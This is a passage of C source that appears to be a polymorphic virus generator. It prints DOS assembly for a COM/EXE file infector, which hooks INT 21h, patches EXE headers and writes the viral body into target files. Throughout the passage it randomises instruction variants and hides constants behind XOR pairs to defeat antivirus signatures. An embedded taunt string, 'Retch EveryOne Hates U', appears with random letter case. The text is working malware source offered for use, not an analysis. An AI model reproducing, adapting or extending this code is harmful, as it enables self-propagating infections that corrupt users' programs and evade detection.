            fprintf(stdout,"looper:                              \n");
            fprintf(stdout,"        inc     ax                  \n");
            fprintf(stdout,"        mov     word ptr jump+1, ax \n");
            fprintf(stdout,"        loop    looper              \n");
            fprintf(stdout,"        pop     cx                  \n");
        }
        /*  =============== End Of Blender Point #5  ======================== */

        /* Delete The Next Line and Test  */
        fprintf(stdout,"        mov     word ptr jump+1, ax                 \n");
        fprintf(stdout,"        mov     ax, partpag                         \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     WORD PTR s_sav2+4, ax               \n");
        fprintf(stdout,";------------| mov BYTE PTR header, 0e9h |------------ XOR #* -----------\n");
        y=(random()%255)+1;
        z=233;
        xor=z^y;
        fprintf(stdout,"        mov     BYTE PTR header, 0%xh\n",xor);
        fprintf(stdout,"        xor     BYTE PTR header, 0%xh\n",y);
        fprintf(stdout,"        pop     ax                                  \n");
        fprintf(stdout,"        sub     ax, 3h                              \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     WORD PTR header+1, ax               \n");
        fprintf(stdout,"        jmp     SHORT write_f                       \n");
        fprintf(stdout,"jerr:                                               \n");
        fprintf(stdout,"        retn                                        \n");
        fprintf(stdout,"also:                                               \n");
        /* Possible Blender  */
        fprintf(stdout,";------------| mov WORD PTR s_sav1, 12ebh |------------ XOR #* -----------\n");
        y=(random()%155)+1;
        z=4843;
        xor=z^y;
        fprintf(stdout,"        mov     WORD PTR s_sav1, 0%xh\n",xor);
        fprintf(stdout,"        xor     WORD PTR s_sav1, 0%xh\n",y);
        /* Possible Blender  */
        fprintf(stdout,"        mov     ax, exeip                           \n");
        fprintf(stdout,";------------| mov word ptr jump+1, ax|-------- Point #6 ------\n");
        /*  =============== Beginning Of Blender Point #6 ==================== */
        c5old=c5;
        for (;;){
            if (c6!=c6old) break;
            for (rn1=0;rn1<203;rn1++) c6=(random()%6);
        }
        c6=c6+1;
        if (c6==6) c6=0;
        if (c6==0) {
            fprintf(stdout,"        push cx                                             \n");
            fprintf(stdout,"        mov     cx,ax                       \n");
            fprintf(stdout,"        xor     ax,ax                    \n");
            fprintf(stdout,"pooper:                                     \n");
            fprintf(stdout,"        inc     ax                         \n");
            fprintf(stdout,"        mov     word ptr jump+1, ax        \n");
            fprintf(stdout,"        loop    pooper                     \n");
            fprintf(stdout,"        pop     cx                         \n");
        }
        if (c6==1) {
            fprintf(stdout,"        push cx                                             \n");
            fprintf(stdout,"        xor     cx,cx                       \n");
            fprintf(stdout,"        add     cx,0100h                    \n");
            fprintf(stdout,"        mov     cx,ax              \n");
            fprintf(stdout,"        xor     ax,ax                    \n");

            fprintf(stdout,"pooper:                                     \n");
            fprintf(stdout,"        inc     ax                         \n");
            fprintf(stdout,"        mov     word ptr jump+1, ax        \n");
            fprintf(stdout,"        loop    pooper                     \n");
            fprintf(stdout,"        pop     cx                         \n");
        }
        if (c6==2) {
            fprintf(stdout,"        push cx                      \n");
            fprintf(stdout,"        mov     cx,0000h               \n");
            fprintf(stdout,"        mov     ch,ah                   ; goal mov word ptr jump+1, 100h \n");
            fprintf(stdout,"        mov     cl,al                   ; goal mov word ptr jump+1, 100h \n");
            fprintf(stdout,"pooper:                              \n");
            fprintf(stdout,"        mov     word ptr jump+1, ax \n");
            fprintf(stdout,"        loop    pooper              \n");
            fprintf(stdout,"        pop     cx                  \n");
        }
        if (c6==3) {
            fprintf(stdout,"        push cx                      \n");
            fprintf(stdout,"        mov     cx,0000h             \n");
            fprintf(stdout,"        mov     cl,al                   ; goal mov word ptr jump+1, 100h \n");
            fprintf(stdout,"        mov     ch,ah                   ; goal mov word ptr jump+1, 100h \n");
            fprintf(stdout,"pooper:                              \n");
            fprintf(stdout,"        inc     cx                  \n");
            fprintf(stdout,"        sub     cx,0001h           \n");
            fprintf(stdout,"        loop    pooper              \n");
            fprintf(stdout,"        mov     word ptr jump+1, ax \n");
            fprintf(stdout,"        pop     cx                  \n");
        }
        if (c6==4) {
            fprintf(stdout,"        push cx                      \n");
            fprintf(stdout,"        xchg    cx, ax             \n");
            fprintf(stdout,"        mov     ax, 0000h             \n");
            fprintf(stdout,"pooper:                              \n");
            fprintf(stdout,"        inc     ax                  \n");
            fprintf(stdout,"        loop    pooper              \n");
            fprintf(stdout,"        mov     word ptr jump+1, ax \n");
            fprintf(stdout,"        pop     cx                  \n");
        }
        if (c6==5) {
            fprintf(stdout,"        push cx                      \n");
            fprintf(stdout,"        xchg    cx, ax             \n");
            fprintf(stdout,"        mov     ax, 0000h             \n");
            fprintf(stdout,"pooper:                              \n");
            fprintf(stdout,"        inc     ax                  \n");
            fprintf(stdout,"        mov     word ptr jump+1, ax \n");
            fprintf(stdout,"        loop    pooper              \n");
            fprintf(stdout,"        pop     cx                  \n");
        }
        /*  =============== End Of Blender Point #6  ======================== */

        /* Possible Blender  */
        fprintf(stdout,"        mov     ax, relocs                          \n");
        fprintf(stdout,"        add     ax, 10h                             \n");

        /*  =============== Beginning Of Blender Point #7 ==================== */
        fprintf(stdout,";------------| mov word ptr jump+3, ax|-------- Point #7 ------\n");
        c6old=c6;
        for (;;){
            if (c7!=c7old) break;
            for (rn1=0;rn1<803;rn1++) c7=(random()%6);
        }
        c7=c7+1;
        if (c7==6) c7=0;
        if (c7==0) {
            fprintf(stdout,"        push    cx                         \n");
            fprintf(stdout,"        mov     cx,ax                       \n");
            fprintf(stdout,"        xor     ax,ax                    \n");
            fprintf(stdout,"dooper:                                     \n");
            fprintf(stdout,"        inc     ax                         \n");
            fprintf(stdout,"        mov     word ptr jump+3, ax        \n");
            fprintf(stdout,"        loop    dooper                     \n");
            fprintf(stdout,"        pop      cx                         \n");
        }
        if (c7==1) {
            fprintf(stdout,"        push    cx                         \n");
            fprintf(stdout,"        xor     cx, cx                       \n");
            fprintf(stdout,"        add     cx, 0100h                    \n");
            fprintf(stdout,"        mov     cx, ax                       \n");
            fprintf(stdout,"        xor     ax,ax                    \n");
            fprintf(stdout,"dooper:                                     \n");
            fprintf(stdout,"        inc     ax                         \n");
            fprintf(stdout,"        mov     word ptr jump+3, ax        \n");
            fprintf(stdout,"        loop    dooper                     \n");
            fprintf(stdout,"        pop      cx                         \n");
        }
        if (c7==2) {
            fprintf(stdout,"        push cx                      \n");
            fprintf(stdout,"        mov     cx,0000h               \n");
            fprintf(stdout,"        mov     ch,ah                     \n");
            fprintf(stdout,"        mov     cl,al                    \n");
            fprintf(stdout,"        mov     ax,0000h             \n");
            fprintf(stdout,"dooper:                              \n");
            fprintf(stdout,"        mov     word ptr jump+3, ax \n");
            fprintf(stdout,"        loop    dooper              \n");
            fprintf(stdout,"        pop      cx                  \n");
        }
        if (c7==3) {
            fprintf(stdout,"        push cx                      \n");
            fprintf(stdout,"        mov     cx,0000h             \n");
            fprintf(stdout,"        mov     cl,al                  \n");
            fprintf(stdout,"        mov     ch,ah                  \n");
            fprintf(stdout,"        mov     ax,0000h             \n");
            fprintf(stdout,"dooper:                              \n");
            fprintf(stdout,"        inc     ax                  \n");
            fprintf(stdout,"        loop    dooper              \n");
            fprintf(stdout,"        mov     word ptr jump+3, ax \n");
            fprintf(stdout,"        pop      cx                  \n");
        }
        if (c7==4) {
            fprintf(stdout,"        push cx                      \n");
            fprintf(stdout,"        xchg    cx, ax             \n");
            fprintf(stdout,"        mov     ax, 0000h             \n");
            fprintf(stdout,"dooper:                              \n");
            fprintf(stdout,"        inc     ax                  \n");
            fprintf(stdout,"        loop    dooper              \n");
            fprintf(stdout,"        mov     word ptr jump+3, ax \n");
            fprintf(stdout,"        pop      cx                  \n");
        }
        if (c7==5) {
            fprintf(stdout,"        push cx                      \n");
            fprintf(stdout,"        xchg    cx, ax             \n");
            fprintf(stdout,"        mov     ax, 0000h             \n");
            fprintf(stdout,"dooper:                              \n");
            fprintf(stdout,"        mov     word ptr jump+3, cx \n");
            fprintf(stdout,"        inc     ax                  \n");
            fprintf(stdout,"        loop    dooper              \n");
            fprintf(stdout,"        mov     word ptr jump+3, ax \n");
            fprintf(stdout,"        pop      cx                  \n");
        }
        /*  =============== End Of Blender Point #7  ======================== */

        /* Possible Blender  */
        fprintf(stdout,"        mov     ax, reloss                          \n");
        fprintf(stdout,"        add     ax, 10h                             \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     WORD PTR sssave+1, ax               \n");
        fprintf(stdout,"        pop     ax                                  \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     di, dx                              \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     si, ax                              \n");
        fprintf(stdout,"        add     ax, OFFSET mod_top                  \n");
        fprintf(stdout,"        adc     dx, 0                               \n");
        fprintf(stdout,"        div     c_200                               \n");
        fprintf(stdout,"        inc     ax                                  \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     pagecnt, ax                         \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     partpag, dx                         \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     ax, hdrsize                         \n");
        fprintf(stdout,"        mul     c_10                                \n");
        fprintf(stdout,"        xchg    dx, di                              \n");
        fprintf(stdout,"        xchg    ax, si                              \n");
        fprintf(stdout,"        sub     ax, si                              \n");
        fprintf(stdout,"        sbb     dx, di                              \n");
        fprintf(stdout,"        div     c_10                                \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     exeip, dx                           \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     relocs, ax                          \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     reloss, ax                          \n");
        fprintf(stdout,"        inc     minmem                              \n");
        fprintf(stdout,"write_f:                                            \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     ax, exeip                           \n");
        fprintf(stdout,"        add     ax, STK_SIZE                        \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     exesp, ax                           \n");
        fprintf(stdout,";------------| cwd |-------- Minor #4 ------\n");

        cminor=(random()%7);
        if (cminor==0) {
            fprintf(stdout,"        xor     dx,dx  \n");
        }
        if (cminor==1) {
            fprintf(stdout,"        mov     dx,0  \n");
        }
        if (cminor==2) {
            fprintf(stdout,"        sub     dx,dx  \n");
        }
        if (cminor==3) {
            fprintf(stdout,"        xor     dx,dx  \n");
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     dx,%sh  \n",src1);
            fprintf(stdout,"        sub     dx,%sh  \n",src1);
        }
        if (cminor==4) {
            fprintf(stdout,"        cwd              \n");
        }
        if (cminor==5) {
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     dx,%sh  \n",src1);
            fprintf(stdout,"        xor     dx,dx  \n");
        }
        if (cminor==6) {
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     dx,%sh  \n",src1);
            fprintf(stdout,"        sub     dx,%sh  \n",src1);
            fprintf(stdout,"        xor     dx,dx  \n");
        }
        /* Possible Blender  */
        fprintf(stdout,"        mov     cx, OFFSET mod_top                  \n");
        fprintf(stdout,"        call    write                               \n");
        fprintf(stdout,";------------| xor al, al |-------- Minor #5 ------\n");
        cminor=(random()%6);
        if (cminor==0) {
            fprintf(stdout,"        xor     al,al  \n");
        }
        if (cminor==1) {
            fprintf(stdout,"        mov     al,0  \n");
        }
        if (cminor==2) {
            fprintf(stdout,"        sub     al,al  \n");
        }
        if (cminor==3) {
            fprintf(stdout,"        xor     al,al  \n");
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     al,%sh  \n",src1);
            fprintf(stdout,"        sub     al,%sh  \n",src1);
        }
        if (cminor==4) {
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     al,%sh  \n",src1);
            fprintf(stdout,"        xor     al,al  \n");
        }
        if (cminor==5) {
            fprintf(stdout,"        xor     al,al  \n");
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     al,%sh  \n",src1);
            fprintf(stdout,"        sub     al,%sh  \n",src1);
        }
        fprintf(stdout,"        call    int_str                             \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     dx, OFFSET header                   \n");
        fprintf(stdout,";------------| mov cx,20h |------------ XOR #* -----------\n");
        y=(random()%32000)+1;
        z=32;
        xor=z^y;
        fprintf(stdout,"        mov     cx, 0%xh\n",xor);
        fprintf(stdout,"        xor     cx, 0%xh\n",y);
        fprintf(stdout,"        call    write                               \n");
        fprintf(stdout,"        retn                                        \n");
        fprintf(stdout,"exec_fil                ENDP                        \n");
        fprintf(stdout,"doit                    PROC    NEAR                \n");
        fprintf(stdout,"        lodsb                                       \n");
        fprintf(stdout,"        cmp     al, 'a'                             \n");
        fprintf(stdout,"        jb      j1                                  \n");
        fprintf(stdout,"        sub     al, ('a'-'A')                       \n");
        fprintf(stdout,"j1:                                                 \n");
        fprintf(stdout,"        cmp     al, ah                              \n");
        fprintf(stdout,"        retn                                        \n");
        fprintf(stdout,"doit                    ENDP                        \n");
        fprintf(stdout,"file_o                  PROC    NEAR                \n");
        fprintf(stdout,"        pop     bx                                  \n");
        fprintf(stdout,"        push    ds                                  \n");
        fprintf(stdout,"        pop     es                                  \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     di, dx                              \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     al, '.'                             \n");
        fprintf(stdout,";------------| mov ch,01h |------------ XOR #* -----------\n");
        y=(random()%253)+1;
        z=1;
        xor=z^y;
        fprintf(stdout,"        mov     ch, 0%xh\n",xor);
        fprintf(stdout,"        xor     ch, 0%xh\n",y);
        /* Possible Blender  */
        fprintf(stdout,"        mov     cl,00h                              \n");
        fprintf(stdout,"        repne   scasb                               \n");
        fprintf(stdout,"        jne     abort                               \n");
        fprintf(stdout,"        mov     si, di                              \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     ah, 'C'                             \n");
        fprintf(stdout,"        call    doit                                \n");
        fprintf(stdout,"        jne     n_exe                               \n");
        fprintf(stdout,"c_2:                                                \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     ah, 'O'                             \n");
        fprintf(stdout,"        call    doit                                \n");
        fprintf(stdout,"        jne     n_exe                               \n");
        fprintf(stdout,"c_3:                                                \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     ah, 'M'                             \n");
        fprintf(stdout,"        call    doit                                \n");
        fprintf(stdout,"        je      contin                              \n");
        fprintf(stdout,"n_exe:                                              \n");
        fprintf(stdout,"        mov     si, di                              \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     ah, 'E'                             \n");
        fprintf(stdout,"        call    doit                                \n");
        fprintf(stdout,"        jne     abort                               \n");
        fprintf(stdout,"e_2:                                                \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     ah, 'X'                             \n");
        fprintf(stdout,"        call    doit                                \n");
        fprintf(stdout,"        jne     abort                               \n");
        fprintf(stdout,"e_3:                                                \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     ah, 'E'                             \n");
        fprintf(stdout,"        call    doit                                \n");
        fprintf(stdout,"        je      contin                              \n");
        fprintf(stdout,"abort:                                              \n");
        fprintf(stdout,"        retn                                        \n");
        fprintf(stdout,"contin:                                             \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     WORD PTR cs:exec_p, bx              \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     si, dx                              \n");
        fprintf(stdout,";------------| mov ax, 3300h |------------ XOR #* -----------\n");
        y=(random()%65533)+1;
        z=13056;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,"        call    int_21                              \n");
        fprintf(stdout,"        push    dx                                  \n");
        fprintf(stdout,";------------| mov ax, 3301h |------------ XOR #* -----------\n");
        y=(random()%65533)+1;
        z=13057;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,"        push    ax                                  \n");
        /* Possible Blender  */
        fprintf(stdout,"        xor     dl, dl                              \n");
        fprintf(stdout,"        call    int_21                              \n");
        /* Possible Blender  */
        fprintf(stdout,";------------| mov ax, 3524h |------------ XOR #* -----------\n");
        y=(random()%65533)+1;
        z=13604;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,"        call    int_21                              \n");
        fprintf(stdout,"        push    es                                  \n");
        fprintf(stdout,"        push    bx                                  \n");
        fprintf(stdout,"        push    ds                                  \n");
        fprintf(stdout,"        push    cs                                  \n");
        fprintf(stdout,"        pop     ds                                  \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     dx, (int_24h-start)                 \n");
        fprintf(stdout,";------------| mov ax, 2524h |------------ XOR #* -----------\n");
        y=(random()%65533)+1;
        z=9508;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,"        call    int_21                              \n");
        fprintf(stdout,"        pop     ds                                  \n");
        fprintf(stdout,";------------| mov ah, 54h |------------ XOR #* -----------\n");
        y=(random()%253)+1;
        z=84;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,"        call    int_21                              \n");
        fprintf(stdout,"        push    ax                                  \n");
        fprintf(stdout,";------------| mov ax, 2e00h |------------ XOR #* -----------\n");
        y=(random()%65533)+1;
        z=11776;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,"        call    int_21                              \n");
        fprintf(stdout,"        mov     dx, 1                               \n");
        fprintf(stdout,"        call    retry                               \n");
        fprintf(stdout,"        mov     dx, si                              \n");
        fprintf(stdout,"        push    ds                                  \n");
        fprintf(stdout,"        push    dx                                  \n");
        fprintf(stdout,";------------| mov ax, 4300h |------------ XOR #* -----------\n");
        y=(random()%65533)+1;
        z=17152;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,"        call    int_21                              \n");
        fprintf(stdout,"        push    cx                                  \n");
        fprintf(stdout,"        test    cl, 1                               \n");
        fprintf(stdout,"        jz      skip1                               \n");
        fprintf(stdout,";------------| mov ax, 4301h |------------ XOR #* -----------\n");
        y=(random()%65533)+1;
        z=17153;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,";------------| xor cx,cx |-------- Minor #6 ------\n");

        cminor=(random()%5);
        if (cminor==0) {
            fprintf(stdout,"        xor     cx,cx  \n");
        }
        if (cminor==1) {
            fprintf(stdout,"        mov     cx,0  \n");
        }
        if (cminor==2) {
            fprintf(stdout,"        sub     cx,cx  \n");
        }
        if (cminor==3) {
            fprintf(stdout,"        xor     cx,cx  \n");
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     cx,%sh  \n",src1);
            fprintf(stdout,"        sub     cx,%sh  \n",src1);
        }
        if (cminor==4) {
            fprintf(stdout,"        xor     cx,cx  \n");
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        sub     cx,%sh  \n",src1);
            fprintf(stdout,"        add     cx,%sh  \n",src1);
        }

        fprintf(stdout,"        call    int_21                              \n");
        fprintf(stdout,"        jc      skip2                               \n");
        fprintf(stdout,"skip1:                                              \n");
        fprintf(stdout,";------------| mov ax, 3d02h |------------ XOR #* -----------\n");
        y=(random()%65533)+1;
        z=15618;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,"        call    int_21                              \n");
        fprintf(stdout,"        jc      skip2                               \n");
        fprintf(stdout,"        mov     WORD PTR cs:int_han+1, ax         \n");
        fprintf(stdout,";------------| mov ax, 5700h |------------ XOR #* -----------\n");
        y=(random()%65533)+1;
        z=22272;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,"        call    int_han              \n");
        fprintf(stdout,"        push    cx                   \n");
        fprintf(stdout,"        push    dx                   \n");
        fprintf(stdout,"        call    WORD PTR cs:exec_p   \n");
        fprintf(stdout,"        pop     dx                   \n");
        fprintf(stdout,"        pop     cx                   \n");
        fprintf(stdout,";------------| mov ax, 5700h |------------ XOR #* -----------\n");
        y=(random()%65533)+1;
        z=22272;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        //        fprintf(stdout,"        mov     ax,0000h             \n");
        //        fprintf(stdout,"        xor     ax,5700h             \n");
        fprintf(stdout,"        inc     ax                   \n");
        fprintf(stdout,"        call    int_han              \n");
        fprintf(stdout,";------------| mov ah, 3eh |------------ XOR #* -----------\n");
        y=(random()%253)+1;
        z=62;
        xor=z^y;
        fprintf(stdout,"        mov     ah, 0%xh\n",xor);
        fprintf(stdout,"        xor     ah, 0%xh\n",y);
        fprintf(stdout,"        call    int_han              \n");
        fprintf(stdout,"skip2:                               \n");
        fprintf(stdout,"        pop     cx                   \n");
        fprintf(stdout,"        pop     dx                   \n");
        fprintf(stdout,"        pop     ds                   \n");
        /* Possible Blender  */
        fprintf(stdout,"        xor     ch, ch               \n");
        fprintf(stdout,"        test    cl, 1                \n");
        fprintf(stdout,"        jz      skip3                \n");
        fprintf(stdout,"                                     \n");
        fprintf(stdout,";------------| mov ax, 4301h |------------ XOR #* -----------\n");
        y=(random()%65533)+1;
        z=17153;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,"                                     \n");
        fprintf(stdout,"        call    int_21               \n");
        fprintf(stdout,"skip3:                               \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     dx, 3                \n");
        fprintf(stdout,"        call    retry                \n");
        fprintf(stdout,"        pop     ax                   \n");
        fprintf(stdout,";------------| mov ah, 2eh |------------ XOR #* -----------\n");
        y=(random()%253)+1;
        z=46;
        xor=z^y;
        fprintf(stdout,"        mov     ah, 0%xh\n",xor);
        fprintf(stdout,"        xor     ah, 0%xh\n",y);
        fprintf(stdout,"        call    int_21               \n");
        fprintf(stdout,"        pop     dx                   \n");
        fprintf(stdout,"        pop     ds                   \n");
        fprintf(stdout,";------------| mov ax, 2524h |------------ XOR #* -----------\n");
        y=(random()%65533)+1;
        z=9508;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,"        call    int_21               \n");
        fprintf(stdout,"        pop     ax                   \n");
        fprintf(stdout,"        pop     dx                   \n");
        fprintf(stdout,"        call    int_21               \n");
        fprintf(stdout,"exit_o:                              \n");
        fprintf(stdout,"        retn                         \n");
        fprintf(stdout,"file_o                  ENDP         \n");
        fprintf(stdout,"io                      PROC    NEAR \n");
        fprintf(stdout,"read:                                \n");
        fprintf(stdout,";------------| mov ah, 3fh |------------ XOR #* -----------\n");
        y=(random()%253)+1;
        z=63;
        xor=z^y;
        fprintf(stdout,"        mov     ah, 0%xh\n",xor);
        fprintf(stdout,"        xor     ah, 0%xh\n",y);
        fprintf(stdout,"        jmp     SHORT l_io           \n");
        fprintf(stdout,"write:                               \n");
        /* Possible Blender  */
        fprintf(stdout,";------------| mov ah, 40h |------------ XOR #* -----------\n");
        y=(random()%253)+1;
        z=64;
        xor=z^y;
        fprintf(stdout,"        mov     ah, 0%xh\n",xor);
        fprintf(stdout,"        xor     ah, 0%xh\n",y);
        fprintf(stdout,"l_io:                                \n");
        fprintf(stdout,"        call    int_han              \n");
        fprintf(stdout,"        jc      err_io               \n");
        fprintf(stdout,"        cmp     ax, cx               \n");
        fprintf(stdout,"        jnc     ret_io               \n");
        fprintf(stdout,"err_io:                              \n");
        fprintf(stdout,"        pop     ax                   \n");
        fprintf(stdout,"ret_io:                              \n");
        fprintf(stdout,"        retn                         \n");
        fprintf(stdout,"io                      ENDP         \n");
        fprintf(stdout,"service                 PROC    NEAR \n");
        fprintf(stdout,"retry:                               \n");
        fprintf(stdout,";------------| mov ax, 440bh |------------ XOR #* -----------\n");
        y=(random()%253)+1;
        z=17419;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        /* Possible Blender  */
        fprintf(stdout,"        mov     cx, 1                \n");
        fprintf(stdout,"        jmp     SHORT int_21         \n");
        fprintf(stdout,"int_str:                             \n");
        fprintf(stdout,";------------| xor cx,cx |-------- Minor #7 ------\n");
        cminor=(random()%6);
        if (cminor==0) {
            fprintf(stdout,"        xor     cx,cx  \n");
        }
        if (cminor==1) {
            fprintf(stdout,"        mov     cx,0  \n");
        }
        if (cminor==2) {
            fprintf(stdout,"        sub     cx,cx  \n");
        }
        if (cminor==3) {
            fprintf(stdout,"        xor     cx,cx  \n");
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     cx,%sh  \n",src1);
            fprintf(stdout,"        sub     cx,%sh  \n",src1);
        }
        if (cminor==4) {
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     cx,%sh  \n",src1);
            fprintf(stdout,"        xor     cx,cx  \n");
        }
        if (cminor==5) {
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     cx,%sh  \n",src1);
            fprintf(stdout,"        sub     cx,%sh  \n",src1);
            fprintf(stdout,"        xor     cx,cx  \n");
        }

        fprintf(stdout,";------------| xor dx,dx |-------- Minor #8 ------\n");
        cminor=(random()%8);
        if (cminor==0) {
            fprintf(stdout,"        xor     dx, dx  \n");
        }
        if (cminor==1) {
            fprintf(stdout,"        mov     dx, 0  \n");
        }
        if (cminor==2) {
            fprintf(stdout,"        sub     dx, dx  \n");
        }
        if (cminor==3) {
            fprintf(stdout,"        xor     dx, dx  \n");
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     dx, 0%sh  \n",src1);
            fprintf(stdout,"        sub     dx, 0%sh  \n",src1);
        }
        if (cminor==4) {
            fprintf(stdout,"        cwd              \n");
        }
        if (cminor==5) {
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     dx, %sh  \n",src1);
            fprintf(stdout,"        xor     dx, dx  \n");
        }
        if (cminor==6) {
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     dx, %sh  \n",src1);
            fprintf(stdout,"        sub     dx, %sh  \n",src1);
            fprintf(stdout,"        xor     dx, dx  \n");
        }
        if (cminor==7) {
            fprintf(stdout,"        mov     dx, cx         \n");
        }

        fprintf(stdout,"int_set:                             \n");
        /* Possible Blender  */
        fprintf(stdout,";------------| mov ah, 42h |------------ XOR #* -----------\n");
        y=(random()%253)+1;
        z=66;
        xor=z^y;
        fprintf(stdout,"        mov     ah, 0%xh\n",xor);
        fprintf(stdout,"        xor     ah, 0%xh\n",y);
        fprintf(stdout,"int_han:                             \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     bx, 0                \n");
        fprintf(stdout,"int_21:                              \n");
        fprintf(stdout,"        pushf                        \n");
        fprintf(stdout,"        cli                          \n");
        fprintf(stdout,"        call    DWORD PTR cs:vec_21h \n");
        fprintf(stdout,"        retn                         \n");
        fprintf(stdout,"service                 ENDP         \n");
        fprintf(stdout,"                        DB      '");
        strcpy (beta,"Retch EveryOne Hates U");
        //sprintf (beta,"Retch EveryOne Hates U");
        /* Hehe 50/50 reverse */
        ul1=strlen("Retch EveryOne Hates U");
        for(loop1=0;loop1<ul1;loop1++){
            s=beta[loop1];
            x=(random()%2)+1;
            if (x==1){
                t=toupper(s);
            }
            if (x==2){
                t=tolower(s);
            }
            fprintf(stdout,"%c",t);
        }
        fprintf(stdout,"!'\n");

        fprintf(stdout,"mod_top:                                \n");
        fprintf(stdout,"vec_21h                 DD      0       \n");
        fprintf(stdout,"vec_24h                 DD      0       \n");
        fprintf(stdout,"exec_p                  DW      0       \n");
        fprintf(stdout,"sav_bp                  DW      0       \n");
        fprintf(stdout,"sav_sp                  DW      0       \n");
        fprintf(stdout,"sav_ss                  DW      0       \n");
        fprintf(stdout,"header                  DW      0       \n");
        fprintf(stdout,"partpag                 DW      0       \n");
        fprintf(stdout,"pagecnt                 DW      0       \n");
        fprintf(stdout,"relocnt                 DW      0       \n");
        fprintf(stdout,"hdrsize                 DW      0       \n");
        fprintf(stdout,"minmem                  DW      0       \n");
        fprintf(stdout,"maxmem                  DW      0       \n");
        fprintf(stdout,"reloss                  DW      0       \n");
        fprintf(stdout,"exesp                   DW      0       \n");
        fprintf(stdout,"chksum                  DW      0       \n");
        fprintf(stdout,"exeip                   DW      0       \n");
        fprintf(stdout,"relocs                  DW      0       \n");
        fprintf(stdout,"tabloff                 DW      0       \n");
        fprintf(stdout,"overlay                 DW      0       \n");
        fprintf(stdout,"sizform                 DW      0       \n");
        fprintf(stdout,"stack_are               DB      100 DUP(?)                                        \n");
        fprintf(stdout,"are_top:                                                                          \n");
        fprintf(stdout,"ouexit:                                                                           \n");
        fprintf(stdout,"        mov     ah, 4ch                 \n");
